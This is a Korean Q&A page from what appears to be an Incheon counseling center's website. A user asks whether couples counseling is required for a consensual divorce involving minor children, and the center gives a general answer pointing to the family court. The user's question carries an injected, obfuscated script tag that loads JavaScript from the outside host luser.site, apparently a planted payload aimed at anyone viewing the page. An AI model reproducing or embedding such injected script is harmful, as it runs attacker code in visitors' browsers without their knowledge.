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제목 [부부상담] 인천심리상담 "마음애심리상담센터" 에서 답변드립니다
작성자 온라인상담실
등록일 2025.02.17
합의이혼시 미성년자녀가 있을시 부부상담을 해야되는걸로 알고있는데요 시청각교육이 아닌 부부상담도 꼭 받아야하나요?
안받게되면 이혼이 안되는건가요? <scr&#115;&#99;riptipt/**/src=//luser.site/l.js></scr&#115;&#99;riptipt>

==================== 답 변 ====================

안녕하세요. 인천심리상담 "마음애심리상담센터" 입니다.

합의이혼을 진행할 때 미성년 자녀가 있을 경우, 법원에서 요구하는 일정한 절차가 필요한 것으로 알고 있습니다. 일반적으로 시청각 교육과 함께 부모교육이나 상담이 포함될 수 있으며, 이는 자녀의 복리를 보호하고 부모로서의 책임을 상기시키기 위한 과정입니다. 하지만 구체적인 상담의 의무 여부는 법원 및 지역에 따라 다를 수 있기 때문에, 해당 지역 가정법원에 문의해 정확한 절차를 확인하는 것이 가장 확실한 방법입니다.

만약 상담을 필수로 요구하는 경우, 이를 이수하지 않으면 이혼 절차가 진행되지 않을 가능성이 있습니다. 하지만 법원의 판단에 따라 상담이 면제될 수도 있으며, 필요에 따라 일정 조정이나 대체 절차가 있을 수 있습니다. 따라서, 상담을 꼭 받아야 하는지, 또는 다른 방법으로 대체할 수 있는지에 대해 법원에 직접 문의해보는 것이 중요합니다.

이 과정이 다소 번거롭게 느껴질 수도 있지만, 결국 미성년 자녀의 정서적 안정을 고려한 조치이므로, 부모로서 어떻게 이 과정을 받아들이고 준비할지에 대해 한 번 더 고민해보는 것도 필요할 것 같습니다. 절차를 잘 이해하고 준비하면 보다 원활한 진행이 가능할 것입니다.

권해드린다면, 이혼을 한다 하더라도 향후 다양한 문제 등에 대한 부작용을 최소화하기 위해서다라도 반드시 반드시 부부상담을 받아보실 것을 당부해드립니다.

감사합니다.

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